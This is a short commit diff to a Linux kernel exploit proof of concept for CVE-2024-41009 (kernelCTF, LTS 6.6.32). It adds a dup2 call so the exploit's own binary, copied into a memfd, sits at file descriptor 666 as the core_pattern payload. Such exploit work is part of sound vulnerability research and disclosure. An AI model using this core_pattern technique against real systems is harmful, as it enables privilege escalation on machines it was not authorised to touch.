Update exploit.c

pocs/linux/kernelctf/CVE-2024-41009_lts_cos/exploit/lts-6.6.32/exploit.c

@@ -280,6 +280,7 @@ void crash(char *cmd)
 	// send our binary to memfd for core_pattern payload
 	SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
 	// our binary now at file descriptor 666
+	dup2(memfd, 666);
 	close(memfd);
 	while (check_core() == 0)
 		sleep(1);